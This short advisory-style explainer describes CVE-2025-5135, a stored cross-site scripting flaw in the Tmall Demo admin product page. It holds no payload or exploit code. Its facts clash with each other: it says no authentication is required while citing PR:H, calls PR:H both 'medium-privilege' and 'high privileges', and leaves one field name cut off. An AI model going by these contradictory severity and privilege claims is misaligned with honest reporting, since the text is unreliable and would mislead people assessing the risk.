How CVE-2025-5135 Works
The vulnerability in Tmall Demo (up to version 20250505) stems from improper input sanitization in the `/tmall/admin/` product details page. Attackers can inject malicious JavaScript payloads via the `Product Name` or `Product ` fields. When an admin views the manipulated product entry, the script executes in their browser, enabling session hijacking, phishing, or unauthorized actions. The flaw is remotely exploitable with no authentication required, though impact is limited due to medium-privilege requirements (PR:H). The CVSS 4.0 score reflects this with AV:N/AC:L/PR:H/UI:P, indicating network accessibility but high privileges needed for exploitation.
